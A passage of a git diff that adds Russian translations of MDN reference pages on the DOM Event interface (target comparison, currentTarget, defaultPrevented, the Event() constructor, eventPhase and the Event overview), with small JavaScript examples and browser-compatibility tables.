+            &lt;td class="standard"&gt;Изначальная цель, отправляющая событие &lt;small&gt;event.target&lt;/small&gt;&lt;/td&gt;
+            &lt;td class="standard"&gt;Цель, кто прослушивает события &lt;small&gt;event.currentTarget&lt;/small&gt;&lt;/td&gt;
+            &lt;td class="standard"&gt;Идентифицировать другой элемент (если он есть), участвующий в событии &lt;small&gt;event.relatedTarget&lt;/small&gt;&lt;/td&gt;
+            &lt;td class="non-standard"&gt;Если по какой-то причине произошло перенацеливание события &lt;small&gt;event.explicitOriginalTarget&lt;/small&gt; содержит цель перед перенацеливанием (никогда не содержит анонимных целей)&lt;/td&gt;
+            &lt;td class="non-standard"&gt;Если по какой-то причине произошло перенацеливание события &lt;small&gt;event.originalTarget&lt;/small&gt; содержит цель перед перенацеливанием (может содержать анонимные цели)&lt;/td&gt;
+        &lt;/tr&gt;
+    &lt;/thead&gt;
+    &lt;tr&gt;
+        &lt;td id="target"&gt;&lt;/td&gt;
+        &lt;td id="currentTarget"&gt;&lt;/td&gt;
+        &lt;td id="relatedTarget"&gt;&lt;/td&gt;
+        &lt;td id="explicitOriginalTarget"&gt;&lt;/td&gt;
+        &lt;td id="originalTarget"&gt;&lt;/td&gt;
+    &lt;/tr&gt;
+&lt;/table&gt;
+&lt;p&gt;Нажав на текст, вы увидите разницу между explicitOriginalTarget, originalTarget и target&lt;/p&gt;
+&lt;script&gt;
+    function handleClicks(e) {
+        document.getElementById('target').innerHTML = e.target;
+        document.getElementById('currentTarget').innerHTML = e.currentTarget;
+        document.getElementById('relatedTarget').innerHTML = e.relatedTarget;
+        document.getElementById('explicitOriginalTarget').innerHTML = e.explicitOriginalTarget;
+        document.getElementById('originalTarget').innerHTML = e.originalTarget;
+    }
+
+    function handleMouseover(e) {
+        document.getElementById('target').innerHTML = e.target;
+        document.getElementById('relatedTarget').innerHTML = e.relatedTarget;
+    }
+
+    document.addEventListener('click', handleClicks, false);
+    document.addEventListener('mouseover', handleMouseover, false);
+&lt;/script&gt;
+&lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<h3 id="Use_of_target_and_relatedTarget" name="Use_of_target_and_relatedTarget">Использование <code>target</code> и <code>relatedTarget</code></h3>
+
+<p>Свойство <code>relatedTarget</code> для события <code>mouseover</code> содержит узел, над которым ранее была указана мышь. Для события <code>mouseout</code> он удерживает узел, к которому движется мышь.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Тип события</th>
+   <th><a href="/en/DOM/event.target" title="en/DOM/event.target">event.target</a></th>
+   <th><a href="/en/DOM/event.relatedTarget" title="en/DOM/event.relatedTarget">event.relatedTarget</a></th>
+  </tr>
+  <tr>
+   <td><code>mouseover</code></td>
+   <td>EventTarget, в который входим указателем</td>
+   <td>EventTarget, из которого выходим указателем</td>
+  </tr>
+  <tr>
+   <td><code>mouseout</code></td>
+   <td>EventTarget, из которого выходим указателем</td>
+   <td>EventTarget, в который входим указателем</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>TODO: Также требуется описание событий <code>dragenter</code> и <code>dragexit</code>.</p>
+
+<h4 id="Example" name="Example">Пример</h4>
+
+<pre class="eval">&lt;hbox id="outer"&gt;
+  &lt;hbox id="inner"
+        onmouseover="dump('mouseover ' + event.relatedTarget.id + ' &gt; ' + event.target.id + '\n');"
+        onmouseout="dump('mouseout  ' + event.target.id + ' &gt; ' + event.relatedTarget.id + '\n');"
+        style="margin: 100px; border: 10px solid black; width: 100px; height: 100px;" /&gt;
+&lt;/hbox&gt;
+</pre>
+
+<p> </p>
diff --git a/files/ru/web/api/event/currenttarget/index.html b/files/ru/web/api/event/currenttarget/index.html
new file mode 100644
index 0000000000..c16a91e1f0
--- /dev/null
+++ b/files/ru/web/api/event/currenttarget/index.html
@@ -0,0 +1,107 @@
+---
+title: Event.currentTarget
+slug: Web/API/Event/currentTarget
+translation_of: Web/API/Event/currentTarget
+---
+<p>{{APIRef("DOM")}}</p>
+
+<p>Определяет элемент, в котором в данный момент обрабатывается событие, при движении события внутри DOM. Всегда совпадает элементом, на котором обработчик события был назначен, в отличие от свойства <code>event.target</code>, идентифицирующего элемент, на котором событие возникло.</p>
+
+<h2 id="Пример">Пример</h2>
+
+<p><code>event.currentTarget</code> используется, когда один и тот же обработчик события присваивается нескольким элементам.</p>
+
+<pre class="brush: js notranslate">function hide(e){
+  e.currentTarget.style.visibility = "hidden";
+  // Когда данная функция используется в качестве обработчика события: this === e.currentTarget
+}
+
+var ps = document.getElementsByTagName('p');
+
+for(var i = 0; i &lt; ps.length; i++){
+  ps[i].addEventListener('click', hide, false);
+}
+
+// click around and make paragraphs disappear
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Спецификация</th>
+   <th>Статус</th>
+   <th>Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM2 Events", "#Events-Event-currentTarget", "Event.currentTarget")}}</td>
+   <td>{{Spec2("DOM2 Events")}}</td>
+   <td>
+    <table>
+     <tbody>
+      <tr>
+       <td>Изначальное определение. </td>
+      </tr>
+     </tbody>
+    </table>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}<sup>[1]</sup></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] В Internet Explorer с 6 по 8, событийная модель иная. Слушатели событий привяззываются к нестандартному методу <code>element.attachEvent</code>. В данной модели не существует эквивалента <code>event.currentTarget</code> и <code>this</code> - это глобальный объект. Единственный способ имитировать свойство <code>event.currentTarget</code> - обернуть ваш обработчик в функцию, вызывающую обработчик с использованием <code>Function.prototype.call</code> с элементом в качестве первого аргумента. Данным способом <code>this</code> примет ожидаемое значение.</p>
+
+<h2 id="См.также">См.также</h2>
+
+<p><a href="/en-US/docs/Web/API/Event/Comparison_of_Event_Targets">Comparison of Event Targets</a></p>
diff --git a/files/ru/web/api/event/defaultprevented/index.html b/files/ru/web/api/event/defaultprevented/index.html
new file mode 100644
index 0000000000..6edec91a84
--- /dev/null
+++ b/files/ru/web/api/event/defaultprevented/index.html
@@ -0,0 +1,104 @@
+---
+title: Event.defaultPrevented
+slug: Web/API/Event/defaultPrevented
+translation_of: Web/API/Event/defaultPrevented
+---
+<div>{{ APIRef("DOM") }}</div>
+
+<h2 id="Описание">Описание</h2>
+
+<p>Возвращает boolean-значение, информирующее о том, был ли вызван {{ domxref("event.preventDefault()") }} в текущем обработчике события.</p>
+
+<div class="note"><strong>Note:</strong> Используйте это свойство вместо <code>устаревшего метода getPreventDefault()</code> (смотри {{ bug(691151) }}).</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="brush: js"><code>var defaultWasPrevented = event.defaultPrevented;</code></pre>
+
+<h2 id="Пример">Пример</h2>
+
+<pre> if (e.defaultPrevented) {
+   /* по умолчанию не выполнится */
+ }
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Коммент.</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-event-defaultprevented', 'Event.defaultPrevented()')}}</td>
+   <td>{{ Spec2('DOM WHATWG') }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM4', '#dom-event-defaultprevented', 'Event.defaultPrevented')}}</td>
+   <td>{{Spec2('DOM4')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами"><span style="font-size: 1.71428571428571rem; letter-spacing: -0.021em; line-height: 1;">Совместимость с браузерами</span></h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatChrome(18) }}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatGeckoDesktop("6.0") }}</td>
+   <td>{{ CompatIE(9.0) }}</td>
+   <td>{{ CompatOpera(11.0) }}</td>
+   <td>{{ CompatSafari("5.0") }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatGeckoMobile("6.0") }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatSafari(5.0) }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<ul>
+</ul>
diff --git a/files/ru/web/api/event/event/index.html b/files/ru/web/api/event/event/index.html
new file mode 100644
index 0000000000..ac31f2ee21
--- /dev/null
+++ b/files/ru/web/api/event/event/index.html
@@ -0,0 +1,73 @@
+---
+title: Event()
+slug: Web/API/Event/Event
+translation_of: Web/API/Event/Event
+---
+<p>{{APIRef("DOM")}}</p>
+
+<p>Конструктор <code><strong>Event()</strong></code> создает новый объект события {{domxref("Event")}}.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate"> <em>event</em> = new Event(<em>typeArg</em>, <em>eventInit</em>);</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><em>typeArg</em></dt>
+ <dd>Строковое ({{domxref("DOMString")}}) значение,<span id="result_box" lang="ru"><span> представляющее имя события.</span></span></dd>
+ <dt><em>eventInit </em>{{optional_inline}}</dt>
+</dl>
+
+<dl>
+ <dd>Is an <code>EventInit</code> dictionary, having the following fields:
+
+ <ul>
+  <li><code>"bubbles"</code>: (<span class="short_text" id="result_box" lang="ru"><span>Необязательный</span></span>) логическое значение ({{jsxref("Boolean")}}) указывающее – будет ли событие всплывающим. По умолчанию <code>false</code>.</li>
+  <li><code>"cancelable"</code>: (<span class="short_text" id="result_box" lang="ru"><span>Необязательный</span></span>) логическое значение ({{jsxref("Boolean")}}) указывает, может ли событие быть отменено. По умолчанию <code>false</code>.</li>
+  <li><code>"composed"</code>: (<span class="short_text" id="result_box" lang="ru"><span>Необязательный</span></span>) логическое значение {{jsxref("Boolean")}} указывающее – будет ли событие всплывать наружу за пределы shadow root. По умолчанию <code>false</code>.<span style="display: none;"> </span></li>
+ </ul>
+ </dd>
+</dl>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: js notranslate">//  <span id="result_box" lang="ru"><span>создать событие "look", событие всплывающее и не может быть отменено</span></span>
+
+var evt = new Event("look", {"bubbles":true, "cancelable":false});
+document.dispatchEvent(evt);
+
+// событие может быть инициализировано на любом элементе, а не только на документе
+myDiv.dispatchEvent(evt);
+</pre>
+
+<h2 id="Specification" name="Specification">Спецификации</h2>
+
+<table class="standard-table" style="height: 49px; width: 1000px;">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM WHATWG','#interface-event','Event()')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+
+
+<p>{{Compat("api.Event.Event")}}</p>
+
+<h2 id="Смотрите_также"><span class="short_text" id="result_box" lang="ru"><span>Смотрите также</span></span></h2>
+
+<ul>
+ <li>{{domxref("Event")}}</li>
+</ul>
diff --git a/files/ru/web/api/event/eventphase/index.html b/files/ru/web/api/event/eventphase/index.html
new file mode 100644
index 0000000000..7ae3ee150d
--- /dev/null
+++ b/files/ru/web/api/event/eventphase/index.html
@@ -0,0 +1,144 @@
+---
+title: Event.eventPhase
+slug: Web/API/Event/eventPhase
+tags:
+  - API
+  - DOM
+  - Gecko
+  - Gecko DOM Reference
+  - Property
+  - Reference
+translation_of: Web/API/Event/eventPhase
+---
+<p>{{ ApiRef("DOM") }}</p>
+
+<h3 id="Summary" name="Summary">Общая информация</h3>
+
+<p>Отображает текущую фазу процесса обработки события.</p>
+
+<h3 id="Syntax" name="Syntax">Синтаксис</h3>
+
+<pre class="eval"><em>var phase</em> = event.eventPhase;
+</pre>
+
+<p>Возвращает целое число, соответствующее одной из 4 констант:</p>
+
+<ul>
+ <li><code>Event.NONE = 0</code></li>
+ <li><code>Event.CAPTURING_PHASE = 1</code></li>
+ <li><code>Event.AT_TARGET = 2</code></li>
+ <li><code>Event.BUBBLING_PHASE = 3</code></li>
+</ul>
+
+<p>Смысл констант смотри в <a class="external" href="http://www.w3.org/TR/DOM-Level-3-Events/#event-flow">section 3.1, Event dispatch and DOM event flow</a>, спецификации DOM Level 3.</p>
+
+<h3 id="Пример">Пример</h3>
+
+<pre>&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+&lt;head&gt; &lt;title&gt;Event Propagation&lt;/title&gt;
+  &lt;style type="text/css"&gt;
+    body { font-family:'Trebuchet MS'; }
+    div { margin: 20px; padding: 4px; border: thin black solid; }
+    #divInfo { margin: 18px; padding: 8px; background-color:white; font-size:80%; }
+  &lt;/style&gt;
+&lt;/head&gt;
+&lt;body&gt;
+  &lt;h4&gt;Event Propagation Chain&lt;/h4&gt;
+  &lt;ul&gt;
+    &lt;li&gt;Click 'd1'&lt;/li&gt;
+    &lt;li&gt;Analyse event propagation chain&lt;/li&gt;
+    &lt;li&gt;Click next div and repeat the experience&lt;/li&gt;
+    &lt;li&gt;Change Capturing mode&lt;/li&gt;
+    &lt;li&gt;Repeat the experience&lt;/li&gt;
+  &lt;/ul&gt;
+  &lt;input type="checkbox" id="chCapture" /&gt; Use Capturing
+  &lt;div id="d1"&gt;d1
+    &lt;div id="d2"&gt;d2
+      &lt;div id="d3"&gt;d3
+        &lt;div id="d4"&gt;d4&lt;/div&gt;
+      &lt;/div&gt;
+    &lt;/div&gt;
+  &lt;/div&gt;
+  &lt;div id="divInfo"&gt;&lt;/div&gt;
+  &lt;script&gt;
+    var
+      clear = false,
+      divInfo = null,
+      divs = null,
+      useCapture = false;
+  window.onload = function ()
+  {
+    divInfo = document.getElementById("divInfo");
+    divs = document.getElementsByTagName('div');
+    chCapture = document.getElementById("chCapture");
+    chCapture.onclick = function ()
+    {
+      RemoveListeners();
+      AddListeners();
+    }
+    Clear();
+    AddListeners();
+  }
+  function RemoveListeners()
+  {
+    for (var i = 0; i &lt; divs.length; i++)
+    {
+      var d = divs[i];
+      if (d.id != "divInfo")
+      {
+        d.removeEventListener("click", OnDivClick, true);
+        d.removeEventListener("click", OnDivClick, false);
+      }
+    }
+  }
+  function AddListeners()
+  {
+    for (var i = 0; i &lt; divs.length; i++)
+    {
+      var d = divs[i];
+      if (d.id != "divInfo")
+      {
+        d.addEventListener("click", OnDivClick, false);
+        if (chCapture.checked)
+          d.addEventListener("click", OnDivClick, true);
+        d.onmousemove = function () { clear = true; };
+      }
+    }
+  }
+  function OnDivClick(e)
+  {
+    if (clear)
+    {
+      Clear();
+      clear = false;
+    }
+
+    if (e.eventPhase == 2)
+      e.currentTarget.style.backgroundColor = 'red';
+
+    var level =
+        e.eventPhase == 0 ? "none" :
+        e.eventPhase == 1 ? "capturing" :
+        e.eventPhase == 2 ? "target" :
+        e.eventPhase == 3 ? "bubbling" : "error";
+    divInfo.innerHTML += e.currentTarget.id + "; eventPhase: " + level + "&lt;br/&gt;";
+  }
+  function Clear()
+  {
+    for (var i = 0; i &lt; divs.length; i++)
+    {
+      if (divs[i].id != "divInfo")
+        divs[i].style.backgroundColor = (i &amp; 1) ? "#f6eedb" : "#cceeff";
+    }
+    divInfo.innerHTML = '';
+  }
+  &lt;/script&gt;
+&lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<h3 id="Specification" name="Specification">Спецификация</h3>
+
+<p><a class="external" href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Events-20001113/events.html#Events-Event-eventPhase">DOM Level 2 Events: Event.eventPhase </a></p>
+
+<p>{{ languages( { "pl": "pl/DOM/event.eventPhase" } ) }}</p>
diff --git a/files/ru/web/api/event/index.html b/files/ru/web/api/event/index.html
new file mode 100644
index 0000000000..fbc7c4726f
--- /dev/null
+++ b/files/ru/web/api/event/index.html
@@ -0,0 +1,251 @@
+---
+title: Event
+slug: Web/API/Event
+tags:
+  - API
+  - DOM
+  - Event
+  - Interface
+  - Reference
+  - Событие
+translation_of: Web/API/Event
+---
+<p>{{APIRef("DOM")}}</p>
+
+<p>Интерфейс <code><strong>Event</strong></code> представляет собой любое событие, которое происходит в <a href="/ru/docs/DOM/DOM_Reference">DOM</a>; некоторые из них генерируемые пользователем (клик мышью или нажатие клавиши на клавиатуре), а некоторые - генерируемые API (события, обозначающие завершение процесса анимации, приостановка видео и т.д.). Существует много типов событий, некоторые из них используют интерфейсы, базирующиеся на главном интерфейсе <code>Event</code>. <code>Event</code> содержит общие свойства и методы для всех событий.</p>
+
+<h2 id="Introduction" name="Introduction">Интерфейсы, основанные на <code>Event</code></h2>
+
+<p>Ниже приведён список интерфейсов, основанных на главном интерфейсе <code>Event</code>, а также указаны ссылки на них в документации MDN API. Заметьте, что имена всех интерфейсов оканчиваются на "Event".</p>
+
+<div class="index">
+<ul>
+ <li>{{domxref("AnimationEvent")}}</li>
+ <li>{{domxref("AudioProcessingEvent")}}</li>
+ <li>{{domxref("BeforeInputEvent")}}</li>
+ <li>{{domxref("BeforeUnloadEvent")}}</li>
+ <li>{{domxref("BlobEvent")}}</li>
+ <li>{{domxref("ClipboardEvent")}}</li>
+ <li>{{domxref("CloseEvent")}}</li>
+ <li>{{domxref("CompositionEvent")}}</li>
+ <li>{{domxref("CSSFontFaceLoadEvent")}}</li>
+ <li>{{domxref("CustomEvent")}}</li>
+ <li>{{domxref("DeviceLightEvent")}}</li>
+ <li>{{domxref("DeviceMotionEvent")}}</li>
+ <li>{{domxref("DeviceOrientationEvent")}}</li>
+ <li>{{domxref("DeviceProximityEvent")}}</li>
+ <li>{{domxref("DOMTransactionEvent")}}</li>
+ <li>{{domxref("DragEvent")}}</li>
+ <li>{{domxref("EditingBeforeInputEvent")}}</li>
+ <li>{{domxref("ErrorEvent")}}</li>
+ <li>{{domxref("FetchEvent")}}</li>
+ <li>{{domxref("FocusEvent")}}</li>
+ <li>{{domxref("GamepadEvent")}}</li>
+ <li>{{domxref("HashChangeEvent")}}</li>
+ <li>{{domxref("IDBVersionChangeEvent")}}</li>
+ <li>{{domxref("InputEvent")}}</li>
+ <li>{{domxref("KeyboardEvent")}}</li>
+ <li>{{domxref("MediaStreamEvent")}}</li>
+ <li>{{domxref("MessageEvent")}}</li>
+ <li>{{domxref("MouseEvent")}}</li>
+ <li>{{domxref("MutationEvent")}}</li>
+ <li>{{domxref("OfflineAudioCompletionEvent")}}</li>
+ <li>{{domxref("PageTransitionEvent")}}</li>
+ <li>{{domxref("PointerEvent")}}</li>
+ <li>{{domxref("PopStateEvent")}}</li>
+ <li>{{domxref("ProgressEvent")}}</li>
+ <li>{{domxref("RelatedEvent")}}</li>
+ <li>{{domxref("RTCDataChannelEvent")}}</li>
+ <li>{{domxref("RTCIdentityErrorEvent")}}</li>
+ <li>{{domxref("RTCIdentityEvent")}}</li>
+ <li>{{domxref("RTCPeerConnectionIceEvent")}}</li>
+ <li>{{domxref("SensorEvent")}}</li>
+ <li>{{domxref("StorageEvent")}}</li>
+ <li>{{domxref("SVGEvent")}}</li>
+ <li>{{domxref("SVGZoomEvent")}}</li>
+ <li>{{domxref("TimeEvent")}}</li>
+ <li>{{domxref("TouchEvent")}}</li>
+ <li>{{domxref("TrackEvent")}}</li>
+ <li>{{domxref("TransitionEvent")}}</li>
+ <li>{{domxref("UIEvent")}}</li>
+ <li>{{domxref("UserProximityEvent")}}</li>
+ <li>{{domxref("WebGLContextEvent")}}</li>
+ <li>{{domxref("WheelEvent")}}</li>
+</ul>
+</div>
+
+<h2 id="Constructor" name="Constructor">Конструктор</h2>
+
+<dl>
+ <dt>{{domxref("Event.Event", "Event()")}}</dt>
+ <dd>Создает объект <code>Event</code> и возвращает его вызывающему.</dd>
+</dl>
+
+<h2 id="Properties" name="Properties">Свойства</h2>
+
+<dl>
+ <dt>{{domxref("Event.bubbles")}} {{readonlyinline}}</dt>
+ <dd>Логическое значение, указывающее, вспыло ли событие вверх по DOM или нет.</dd>
+ <dt>{{domxref("Event.cancelBubble")}}</dt>
+ <dd>Историческое название синонима {{domxref("Event.stopPropagation()")}}. Если установить знаение в <code>true</code> до возврата из обработчика события (Event Handler), то событие не будет распространяться дальше (например, на обрабочики для родительских узлов).</dd>
+ <dt>{{domxref("Event.cancelable")}} {{readonlyinline}}</dt>
+ <dd>Логическое значение, показывающее возможность отмены события.</dd>
+ <dt>{{domxref("Event.composed")}} {{ReadOnlyInline}}</dt>
+ <dd>Логическое значение, показывающее может или нет событие всплывать через границы между shadow DOM (внутренний DOM конкретного элемента) и обычного DOM документа.</dd>
+ <dt>{{domxref("Event.currentTarget")}} {{readonlyinline}}</dt>
+ <dd>Ссылка на текущий зарегистрированный объект, на котором обрабатывается событие. Это объект, которому планируется отправка события; поведение можно изменить с использованием перенаправления (<em>retargeting</em>).</dd>
+ <dt>{{domxref("Event.deepPath")}} {{non-standard_inline}}</dt>
+ <dd>{{jsxref("Array", "Массив")}} DOM-{{domxref("Node", "узлов")}}, через которые всплывало событие.</dd>
+ <dt>{{domxref("Event.defaultPrevented")}} {{readonlyinline}}</dt>
+ <dd>Показывает, была ли для события вызвана функция {{domxref("event.preventDefault()")}}.</dd>
+ <dt>{{domxref("Event.eventPhase")}} {{readonlyinline}}</dt>
+ <dd>Указывает фазу процесса обработки события.</dd>
+ <dt>{{domxref("Event.explicitOriginalTarget")}} {{non-standard_inline}} {{readonlyinline}}</dt>
+ <dd>Явный первоначальный целевой объект события (Mozilla-специфичный). Не может содержать <a href="/en-US/docs/Mozilla/Tech/XBL/XBL_1.0_Reference/Anonymous_Content">анонимного контента</a>.</dd>
+ <dt>{{domxref("Event.originalTarget")}} {{non-standard_inline}} {{readonlyinline}}</dt>
+ <dd>Первоначальный целевой объект события до перенаправлений (Mozilla-специфичный). Может быть из <a href="/en-US/docs/Mozilla/Tech/XBL/XBL_1.0_Reference/Anonymous_Content">анонимного контента</a>.</dd>
+ <dt>{{domxref("Event.returnValue")}} {{non-standard_inline}}</dt>
+ <dd>Нестандартная альтернатива (оставшаяся от старых версий Microsoft Internet Explorer) для {{domxref("Event.preventDefault()")}} и {{domxref("Event.defaultPrevented")}}.</dd>
+ <dt>{{domxref("Event.scoped")}} {{readonlyinline}} {{obsolete_inline}}</dt>
+ <dd>{{jsxref("Boolean", "Логическое значение")}}, показывающее всплывает ли данное событие через shadow root (внутренний DOM элемента). Это свойство было переименовано в  {{domxref("Event.composed", "composed")}}.</dd>
+ <dt>{{domxref("Event.srcElement")}} {{non-standard_inline}}</dt>
+ <dd>Нестандартный синоним (остался от старых версий Microsoft Internet Explorer) для {{domxref("Event.target")}}.</dd>
+ <dt>{{domxref("Event.target")}} {{readonlyinline}}</dt>
+ <dd>Ссылка на целевой объект, на котором произошло событие.</dd>
+ <dt>{{domxref("Event.timeStamp")}} {{readonlyinline}}</dt>
+ <dd>Время, когда событие было создано (в миллисекундах). По спецификации это время от начала Эпохи (Unix Epoch), но в действительности в разных браузерах определяется по-разному; кроме того, ведётся работа по изменению его на {{domxref("DOMHighResTimeStamp")}} тип.</dd>
+ <dt>{{domxref("Event.type")}} {{readonlyinline}}</dt>
+ <dd>Название события (без учета регистра символов).</dd>
+ <dt>{{domxref("Event.isTrusted")}} {{readonlyinline}}</dt>
+ <dd>Показывает было или нет событие инициировано браузером (например, по клику мышью) или из скрипта (например, через функцию создания события, такую как <a href="/en-US/docs/DOM/event.initEvent">event.initEvent</a>)</dd>
+</dl>
+
+<h2 id="Methods" name="Methods">Методы</h2>
+
+<p> </p>
+
+<dl>
+ <dt>{{domxref("Event.createEvent()")}} </dt>
+ <dd>
+ <p>Создаёт новое событие, которое затем должно быть проинициализировано вызовом его метода <code>initEvent()</code>.</p>
+ </dd>
+</dl>
+
+<p> </p>
+
+<dl>
+ <dt>{{domxref("Event.initEvent()")}} {{deprecated_inline}}</dt>
+ <dd>Инициализация значений созданного с помощью <a href="https://developer.mozilla.org/en-US/docs/Web/API/Document/createEvent" title="Creates an event of the type specified. The returned object should be first initialized and can then be passed to element.dispatchEvent.">Document.createEvent()</a> события. Если событие уже отправлено, то эта функция ничего не делает.</dd>
+ <dt>{{domxref("Event.preventBubble()")}} {{non-standard_inline}} {{Obsolete_inline(24)}}</dt>
+ <dd>Предотвращает всплытие события. Устаревшая, используйте вместо неё {{domxref("event.stopPropagation")}}.</dd>
+ <dt>{{domxref("Event.preventCapture()")}} {{non-standard_inline}} {{Obsolete_inline(24)}}</dt>
+ <dd>Устаревшая, используйте вместо неё {{domxref("event.stopPropagation")}}.</dd>
+ <dt>{{domxref("Event.preventDefault()")}}</dt>
+ <dd>Отменяет событие (если его возможно отменить).</dd>
+ <dt>{{domxref("Event.stopImmediatePropagation()")}}</dt>
+ <dd>Для конкретного события не будет больше вызвано обработчиков. Ни тех, которые привязаны к этому же элементу (на котором работает обработчик, который вызывает этот Event.stopImmediatePropagation()), ни других, которые могли бы вызваться при распространении события позже (например, в фазе перехвата - capture).</dd>
+ <dt>{{domxref("Event.stopPropagation()")}}</dt>
+ <dd>Остановка распространения события далее по DOM.</dd>
+ <dt>{{domxref("Event.getPreventDefault()")}} {{non-standard_inline}}</dt>
+ <dd>Нестандартная. Возвращает значение {{domxref("Event.defaultPrevented")}}. Используйте вместо неё {{domxref("Event.defaultPrevented")}}.</dd>
+</dl>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#interface-event', 'Event')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_браузеров">Совместимость браузеров</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>cancelBubble</code> определён в  Event</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop(53)}}<sup>[1]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>cancelBubble</code> определён в Event</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile(53)}}<sup>[1]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
